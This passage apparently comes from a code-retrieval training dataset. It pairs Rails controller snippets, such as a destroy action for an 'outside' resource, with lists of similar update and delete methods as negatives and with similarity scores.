Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end", "def update\n render json: Location.update(params[\"id\"], params[\"location\"])\n end", "def patch_event\n user_id = params[\"user_id\"]\n group_id = params[\"group_id\"]\n event_id = params[\"event_id\"]\n\n #TODO Handle 404 if event not found\n event = Event.find(event_id)\n\n json_body = JSON.parse(request.body.read)\n\n @@event_service.patch_event(json_body, user_id, group_id, event_id)\n\n render status: :ok, text: \"\"\n end", "def update\n @getoff_info = GetoffInfo.find(params[:id])\n\n respond_to do |format|\n if @getoff_info.update_attributes(params[:getoff_info])\n format.html { redirect_to @getoff_info, :notice => 'Getoff info was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @getoff_info.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @employee = current_owner.employees.find(params[:id])\n puts \"#{params}\"\n respond_to do |format|\n if @employee.update_attributes(params[:employee])\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @single_housing.update(single_housing_params)\n format.html { redirect_to @single_housing, notice: 'Single housing was successfully updated.' }\n format.json { render :show, status: :ok, location: @single_housing }\n else\n format.html { render :edit }\n format.json { render json: @single_housing.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update_attributes(event_owner_params)\n format.html { redirect_to @event, notice: 'Event successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.using(:shard_one).find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n\n\n\n end", "def update\n @ongoing = Ongoing.find(params[:id])\n\n respond_to do |format|\n if @ongoing.update_attributes(params[:ongoing])\n format.html { redirect_to @ongoing, notice: 'Ongoing was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ongoing.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @animal.update(animal_params)\n respond_with(@shelter)\n end", "def rest_patch(base_uri,json_payload,params)\n begin\n @response = RestClient.patch(base_uri,json_payload,params)\n rescue => e\n puts @response.code\n end\n return @response\n end", "def UpdateView params = {}\n \n APICall(path: 'views.json',method: 'PUT',payload: params.to_json)\n \n end", "def update\n respond_to do |format|\n if @foo8.update(foo8_params)\n format.html { redirect_to @foo8, notice: \"Foo8 was successfully updated.\" }\n format.json { render :show, status: :ok, location: @foo8 }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @foo8.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_by_body\n @person = Person.find(person_update_params[:id])\n\n if @person.update_attributes(person_update_params)\n render json: { status: 'PUT Success' }, status: :ok\n else\n render json: { status: 'Error', message:'Error updating person', person: @person.errors }, status: :unprocessable_entity\n end\n end", "def update\n @patch = Patch.find(params[:id])\n\n respond_to do |format|\n if @patch.update_attributes(params[:patch])\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_rest\n @entry_instrument = EntryInstrument.find(params[:id])\n\n respond_to do |format|\n if @entry_instrument.update_attributes(params[:entry_instrument])\n flash[:notice] = 'EntryInstrument was successfully updated.'\n format.html { redirect_to(@entry_instrument) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_instrument.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @clientsOffers = ClientsOffers.find(params[:id])\n\n respond_to do |format|\n if @clientsOffers.update_attributes(params[:clientsOffers])\n format.html { redirect_to @clientsOffers, notice: 'ClientsOffers was succesfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clientsOffers.errors, status: :unprocesable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @invent.update(invent_params)\n format.html { redirect_to @invent, notice: 'Invent was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @invent.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update\n @interesting = Interesting.find(params[:id])\n\n respond_to do |format|\n if @interesting.update_attributes(params[:interesting])\n format.html { redirect_to @interesting, notice: 'Interesting was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interesting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @etymon.update(etymon_params)\n format.html { redirect_to @etymon, notice: 'Etymon was successfully updated.' }\n format.json { render :show, status: :ok, location: @etymon }\n else\n format.html { render :edit }\n format.json { render json: @etymon.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @todo = Todo.find(params[:id])\n if @todo.update_attributes(todo_params)\n render json: @todo, status: :ok\n else\n render json: @todo.errors, status: 422\n end\n end", "def update\n respond_to do |format|\n if @example_two.update(example_two_params)\n format.html { redirect_to @example_two, notice: 'Example two was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @example_two.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @employee = Employee.find_by_id(params[:id])\n @employee.update_attributes({:id => params[:id],\n :name => params[:name],\n :title => params[:title],\n :status => params[:status],\n :employment_type => params[:employment_type],\n :attendance_type_id => params[:attendance_type_id],\n :hourly_rate => params[:hourly_rate],\n :location => params[:location],\n :capitalizable_group_id => params[:capitalizable_group_id],\n :leave_days => params[:leave_days],\n :commencement_date => params[:commencement_date],\n :termination_date => params[:termination_date]})\n if request.xhr?\n render :json => @employee\n end\n end", "def update\n @office = Office.find(params[:id])\n\n respond_to do |format|\n if @office.update_attributes(params[:office])\n format.html { redirect_to offices_path, notice: 'Office was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @office.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @stone = Stone.find(params[:id])\n\n respond_to do |format|\n if @stone.update_attributes(params[:stone])\n format.html { redirect_to @stone, notice: 'Stone was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stone.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n contract = Contract.find_by_id(params[:id])\n (head :unauthorized unless contract) and return\n \n # try to update the attributes\n if contract.update_attributes(edit_contract_params)\n render json: contract\n else\n render json: { errors: contract.error.full_messages}\n end\n end", "def update\n @estate = Estate.find(params[:id])\n\n respond_to do |format|\n if @estate.update_attributes(params[:estate])\n format.html { redirect_to @estate, notice: 'Estate was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @estate.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @opportunity = Opportunity.find(params[:id])\n\n if @opportunity.update(opportunity_params)\n head :no_content\n else\n render json: @opportunity.errors, status: :unprocessable_entity\n end\n end", "def update!(**args)\n @include_form_in_response = args[:include_form_in_response] if args.key?(:include_form_in_response)\n @requests = args[:requests] if args.key?(:requests)\n @write_control = args[:write_control] if args.key?(:write_control)\n end", "def update\n respond_to do |format|\n if @interesting_thing.update(interesting_thing_params)\n format.html { redirect_to student_interesting_things_path(@student), notice: 'Interesting thing was successfully updated.' }\n format.json { render :show, status: :ok, location: @interesting_thing }\n else\n format.html { render :edit }\n format.json { render json: @interesting_thing.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(sobject, attrs)\n id = attrs.has_key?(:Id) ? attrs.delete(:Id) : attrs.delete('Id')\n raise 'Id field missing.' unless id\n api_patch \"sobjects/#{sobject}/#{id}\", attrs\n true\n end", "def update\n respond_to do |format|\n if @socio.update(socio_params)\n format.html { redirect_to @socio, notice: 'Socio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @socio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @anything.update(anything_params)\n format.html { redirect_to @anything, notice: 'Anything was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @anything.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @door_event.update(door_event_params)\n format.html { redirect_to @door_event, notice: 'Door event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @door_event.errors, status: :unprocessable_entity }\n end\n end\n end", "def edit\n @appointment_request = current_user.requests.find_by(\n id: params[:request_id]\n )\n\n if @appointment_request.present?\n render json: { appointment_request: @appointment_request, status: 200 }\n else\n render json: { status: 404, layout: false }, status: 404\n end\n end", "def update\n respond_to do |format|\n if @kota_stone.update(kota_stone_params)\n format.html { redirect_to kota_stones_url, notice: 'Kota stone was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @kota_stone.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @ocean.update(ocean_params)\n format.html { redirect_to @ocean, notice: 'Ocean was successfully updated.' }\n format.json { render :show, status: :ok, location: @ocean }\n else\n format.html { render :edit }\n format.json { render json: @ocean.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @platoon.update(platoon_params)\n format.html { redirect_to @platoon, notice: 'Platoon was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @platoon.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @app_engine_routing = args[:app_engine_routing] if args.key?(:app_engine_routing)\n @body = args[:body] if args.key?(:body)\n @headers = args[:headers] if args.key?(:headers)\n @http_method = args[:http_method] if args.key?(:http_method)\n @relative_uri = args[:relative_uri] if args.key?(:relative_uri)\n end", "def update\n @request_for_change.set_manager(force: true)\n @request_for_change.set_security_officer(force: true)\n\n respond_to do |format|\n if @request_for_change.update(request_for_change_params)\n format.html { redirect_to edit_request_for_change_path(@request_for_change), notice: 'Request for change was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @request_for_change.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @jetty = Jetty.find(params[:id])\n\n respond_to do |format|\n if @jetty.update_attributes(params[:jetty])\n format.html { redirect_to @jetty, notice: 'Jetty was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @jetty.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @earth.update(earth_params)\n format.html { redirect_to earths_path, notice: 'Earth was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @earth.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @simple_responses = args[:simple_responses] if args.key?(:simple_responses)\n end", "def update!(**args)\n @simple_responses = args[:simple_responses] if args.key?(:simple_responses)\n end", "def update\n @ope_kind = OpeKind.find(params[:id])\n\n respond_to do |format|\n if @ope_kind.update_attributes(params[:ope_kind])\n format.html { redirect_to @ope_kind, notice: 'Ope kind was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ope_kind.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @foo88.update(foo88_params)\n format.html { redirect_to @foo88, notice: \"Foo88 was successfully updated.\" }\n format.json { render :show, status: :ok, location: @foo88 }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @foo88.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(*args)\n request(:put, *args)\n end", "def update\n respond_to do |format|\n if @lifepointe.update(lifepointe_params)\n format.html { redirect_to @lifepointe, notice: 'Lifepointe was successfully updated.' }\n format.json { render :show, status: :ok, location: @lifepointe }\n else\n format.html { render :edit }\n format.json { render json: @lifepointe.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.71002495", "0.66152906", "0.6301283", "0.60681796", "0.5881588", "0.5788512", "0.5781755", "0.57469463", "0.5740863", "0.5698779", "0.56936884", "0.5679568", "0.56731504", "0.5628998", "0.56122684", "0.5594861", "0.55859846", "0.5583535", "0.5559398", "0.5559398", "0.5500836", "0.5500836", "0.5496594", "0.548895", "0.5484475", "0.54739946", "0.546599", "0.54648936", "0.5464349", "0.5461951", "0.54528546", "0.544633", "0.5446071", "0.5433145", "0.5429617", "0.5429617", "0.54244536", "0.54165614", "0.5411571", "0.5395636", "0.53937453", "0.53879225", "0.53870815", "0.53856254", "0.53794456", "0.53790283", "0.53784686", "0.53783065", "0.5373895", "0.53663087", "0.53655404", "0.5360717", "0.5359341", "0.53570324", "0.53564984", "0.53544986", "0.5348307", "0.534535", "0.5344974", "0.5344051", "0.5343869", "0.5341004", "0.533564", "0.5333743", "0.53243697", "0.532138", "0.5312268", "0.53081596", "0.53080654", "0.53075445", "0.53025126", "0.53002405", "0.5299482", "0.5294823", "0.52893215", "0.5285398", "0.52850723", "0.52847576", "0.5284349", "0.5283633", "0.52804506", "0.52795345", "0.5279255", "0.5276436", "0.5275297", "0.5274849", "0.5269118", "0.5268678", "0.52598816", "0.52589273", "0.525847", "0.52578425", "0.5257069", "0.5256741", "0.52535236", "0.5253329", "0.52528954", "0.5250097", "0.5249509", "0.52448726" ]
0.71156347
0
DELETE /outsides/1 DELETE /outsides/1.json
def destroy @outside.destroy respond_to do |format| format.html { redirect_to outsides_url, notice: 'Outside was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @outside_request = OutsideRequest.find(params[:id])\n @outside_request.destroy\n\n respond_to do |format|\n format.html { redirect_to outside_requests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @inside.destroy\n respond_to do |format|\n format.html { redirect_to insides_url, notice: 'Inside was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def delete\n client.delete(\"/#{id}\")\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def delete endpoint\n do_request :delete, endpoint\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def destroy\n @cephalopod.destroy\n respond_to do |format|\n format.html { redirect_to cephalopods_url }\n format.json { head :no_content }\n end\n end", "def do_delete(uri = \"\")\n @connection.delete do |req|\n req.url uri\n req.headers['Content-Type'] = 'application/json'\n end\n end", "def destroy\n @eod.destroy\n respond_to do |format|\n format.html { redirect_to eods_url, notice: 'Eod was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(url)\n @deleted = true\nend", "def destroy\n @sidequest.destroy\n respond_to do |format|\n format.html { redirect_to sidequests_url, notice: 'Sidequest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n request(:delete)\n end", "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "def destroy\n @ovode = Ovode.find_by_url(params[:id])\n @ovode.destroy\n\n respond_to do |format|\n format.html { redirect_to ovodes_url }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Alien.delete(params[\"id\"])\n end", "def destroy\n @dayoff = Dayoff.find(params[:id])\n @dayoff.destroy\n\n respond_to do |format|\n format.html { redirect_to dayoffs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @etsy = Etsy.find(params[:id])\n @etsy.destroy\n\n respond_to do |format|\n format.html { redirect_to etsies_url }\n format.json { head :no_content }\n end\n end", "def delete\n if body.empty? && params[:id]\n client.delete(params)\n elsif body.empty?\n client.delete_by_query(params.merge(body: body.merge(ALL)))\n else\n client.delete_by_query(params.merge(body: body))\n end\n end", "def delete\n api(\"Delete\")\n end", "def delete(options={})\n connection.delete(\"/\", @name)\n end", "def delete(url, headers = {})\n http :delete, \"#{url}.json\", headers\n end", "def destroy\n @overall.destroy\n respond_to do |format|\n format.html { redirect_to overalls_url }\n format.json { head :no_content }\n end\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end", "def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end", "def delete\n api_client.delete(url)\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def delete!\n\t\t\tClient.delete @root\n\t\tend", "def destroy\n @outdoor = Outdoor.find(params[:id])\n @outdoor.destroy\n\n respond_to do |format|\n format.html { redirect_to outdoors_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @lob.destroy\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @odist.destroy\n respond_to do |format|\n format.html { redirect_to odists_url, notice: 'Odist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @estate = Estate.find(params[:id])\n @estate.destroy\n\n respond_to do |format|\n format.html { redirect_to estates_url }\n format.json { head :no_content }\n end\n end", "def destroy\n dns_entry_response = RestClient.delete('https://api.cloudflare.com/client/v4/zones/:zone_identifier/dns_records/:identifier',:content_type => :json, :accept => :json, :'x-auth-key' => session[:key] :'x-auth-email' => session[:email])\n @dns_entry.destroy\n respond_to do |format|\n format.html { redirect_to dns_entries_url, notice: \"Dns entry was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @nodo.destroy\n respond_to do |format|\n format.html { redirect_to nodos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @earth.destroy\n respond_to do |format|\n format.html { redirect_to earths_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @out.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete\n start { |connection| connection.request http :Delete }\n end", "def destroy\n @admin_neighbourhood.destroy\n respond_to do |format|\n format.html { redirect_to admin_neighbourhoods_url, notice: 'Neighbourhood was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @absent.destroy\n\n respond_to do |format|\n format.html { redirect_to absents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @subway.destroy\n respond_to do |format|\n format.html { redirect_to subways_url }\n format.json { head :no_content }\n end\n end", "def incident_delete(statuspage_id, incident_id)\n data = {}\n data['statuspage_id'] = statuspage_id\n data['incident_id'] = incident_id\n\n request :method => :post,\n :url => @url + 'incident/delete',\n :payload => data\n end", "def destroy\n @off_day.destroy\n respond_to do |format|\n format.html { redirect_to off_days_url, notice: 'Off day was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def destroy\n @anything.destroy\n respond_to do |format|\n format.html { redirect_to anythings_url }\n format.json { head :no_content }\n end\n end", "def delete!\n request! :delete\n end", "def destroy\n @side.destroy\n respond_to do |format|\n format.html { redirect_to sides_url }\n format.json { head :no_content }\n end\n end", "def delete\n RestClient.delete(url, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end", "def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end", "def delete(object)\n full_name = extract_full_name object\n post 'api/del', :id => full_name\n end", "def delete_data\n response = WebPay.client.delete([path, 'data'].join('/'))\n response['deleted']\n end", "def destroy\n id = params[:id]\n @physical_rack = PhysicalRack.any_of({_id: id}, {name: id.gsub('-', '.')}).first\n @physical_rack.destroy\n\n respond_to do |format|\n format.html { redirect_to physical_racks_url }\n format.json { head :ok }\n end\n end", "def destroy\n @ocean.destroy\n respond_to do |format|\n format.html { redirect_to oceans_url, notice: 'Ocean was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @essay = Essay.find(params[:id])\n @essay.destroy\n\n respond_to do |format|\n format.html { redirect_to essays_url }\n format.json { head :ok }\n end\n end", "def destroy\n @lovedone.destroy\n respond_to do |format|\n #refresh \n format.html { redirect_to lovedones_url, notice: 'Loved one has been successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_geonode = Admin::Geonode.find(params[:id])\n @admin_geonode.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_geonodes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @stone = Stone.find(params[:id])\n @stone.destroy\n\n respond_to do |format|\n format.html { redirect_to stones_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @side_walk.destroy\n respond_to do |format|\n format.html { redirect_to side_walks_url, notice: 'Side walk was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n delete_from_server single_url\n end", "def destroy\n @json.destroy\n respond_to do |format|\n format.html { redirect_to jsons_url, notice: 'Json was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @json.destroy\n respond_to do |format|\n format.html { redirect_to jsons_url, notice: 'Json was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n Iterable.request(conf, base_path).delete\n end", "def destroy\n @consensu = Consensu.find(params[:id])\n @consensu.destroy\n\n respond_to do |format|\n format.html { redirect_to consensus_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @envelope.destroy\n\n respond_to do |format|\n format.html { redirect_to :root }\n format.json { head :ok }\n end\n end", "def destroy\n @admin_update_executive_body.destroy\n respond_to do |format|\n format.html { redirect_to admin_update_executive_bodies_url, notice: 'Executive body was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(uri, parameters)\n response = Unirest.delete uri, parameters: parameters\n response.body\n end", "def destroy\n client=Client.find_by_id(params[:id])\n if client != nil\n if client.destroy\n head 204\n end\n else\n head 404\n end\n end", "def destroy\n @dart = Dart.find(params[:id])\n @dart.destroy\n\n respond_to do |format|\n format.html { redirect_to darts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @dinosaur.destroy\n head :no_content\n end", "def destroy\n @o_single.destroy\n respond_to do |format|\n format.html { redirect_to contents_url, notice: t(\"general.successfully_destroyed\") }\n format.json { head :no_content }\n end\n end", "def delete(url, headers={})\n RestClient.delete url, headers\n end", "def destroy\n vehicle = Vehicle.where(uid: params[:id]).first\n # vehicle.locations.destroy_all\n vehicle.destroy\n render nothing: true, :status =>204\n end", "def destroy\n @one = One.find(params[:id])\n @one.destroy\n\n respond_to do |format|\n format.html { redirect_to ones_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @server1 = Server1.find(params[:id])\n @server1.destroy\n\n respond_to do |format|\n format.html { redirect_to server1s_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ephem.destroy\n respond_to do |format|\n format.html { redirect_to ephems_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @nineteen.destroy\n respond_to do |format|\n format.html { redirect_to nineteens_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @evclient = Evclient.find(params[:id])\n @evclient.destroy\n\n respond_to do |format|\n format.html { redirect_to evclients_url }\n format.json { head :ok }\n end\n end", "def destroy\n @spice.destroy\n\n head :no_content\n end", "def destroy_rest\n @entry_instrument = EntryInstrument.find(params[:id])\n @entry_instrument.destroy\n\n respond_to do |format|\n format.html { redirect_to(entry_instruments_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @kota_stone.destroy\n respond_to do |format|\n format.html { redirect_to kota_stones_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @set_aside.destroy\n respond_to do |format|\n format.html { redirect_to set_asides_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bodydatum.destroy\n respond_to do |format|\n format.html { redirect_to bodydata_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exalt = Exalt.find(params[:id])\n @exalt.destroy\n\n respond_to do |format|\n format.html { redirect_to exalts_url }\n format.json { head :ok }\n end\n end", "def delete\n client.delete(url)\n @deleted = true\n end", "def delete\n \n end", "def destroy\n @esseline.destroy\n respond_to do |format|\n format.html { redirect_to esselines_url, notice: 'Esseline was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_elasticsearch_addressbase_data\n uri = URI.parse(\"#{$ELASTIC_SEARCH_ENDPOINT}/\")\n conn = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Delete.new \"#{$ELASTICSEARCH_ADDRESSBASE}\"\n request['Content-Type'] = 'application/json'\n conn.request(request)\nend", "def delete(*args)\n request(:delete, *args)\n end", "def destroy\n @api_v1_todo.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @etymon.destroy\n respond_to do |format|\n format.html { redirect_to etymons_url, notice: 'Etymon was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @big_emergency.destroy\n respond_to do |format|\n format.html { redirect_to big_emergencies_url, notice: 'Big emergency was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @iot.destroy\n respond_to do |format|\n format.html { redirect_to iots_url, notice: 'Iot was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @occupant = Occupant.find(params[:id])\n @occupant.destroy\n\n respond_to do |format|\n format.html { redirect_to occupants_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @htc.destroy\n respond_to do |format|\n format.html { redirect_to htcs_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.72267324", "0.71534765", "0.69241786", "0.6888711", "0.68458116", "0.66099954", "0.66034967", "0.659944", "0.659944", "0.659944", "0.659944", "0.6529414", "0.6503784", "0.65024984", "0.6438971", "0.63768625", "0.637046", "0.63635933", "0.6345375", "0.63303816", "0.633015", "0.63115144", "0.63081807", "0.6294155", "0.6293749", "0.6289474", "0.62868655", "0.62831545", "0.628231", "0.62822086", "0.6279864", "0.6274684", "0.6253138", "0.6252275", "0.6249997", "0.62474525", "0.62442553", "0.6236071", "0.62298954", "0.62291855", "0.62227815", "0.62212026", "0.62101376", "0.62059623", "0.62052816", "0.6204219", "0.62019", "0.6197497", "0.6191463", "0.6191463", "0.61871094", "0.6186642", "0.61838824", "0.61833745", "0.618243", "0.61818206", "0.6180504", "0.61774457", "0.6166431", "0.6166218", "0.616621", "0.6164889", "0.6163648", "0.61620075", "0.6161922", "0.6161609", "0.6161609", "0.6157441", "0.6155808", "0.6146625", "0.6146187", "0.6145032", "0.61438775", "0.6142425", "0.6140206", "0.6136839", "0.61325884", "0.61287993", "0.61282617", "0.6127911", "0.61242044", "0.6123406", "0.6122843", "0.6122556", "0.6121375", "0.61209506", "0.6117893", "0.61170787", "0.61153775", "0.61145663", "0.61109644", "0.6099246", "0.60971063", "0.6095646", "0.6090507", "0.6090209", "0.60872847", "0.6085986", "0.6085631", "0.60850024" ]
0.7406521
0
Use callbacks to share common setup or constraints between actions.
def set_outside @outside = Outside.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n 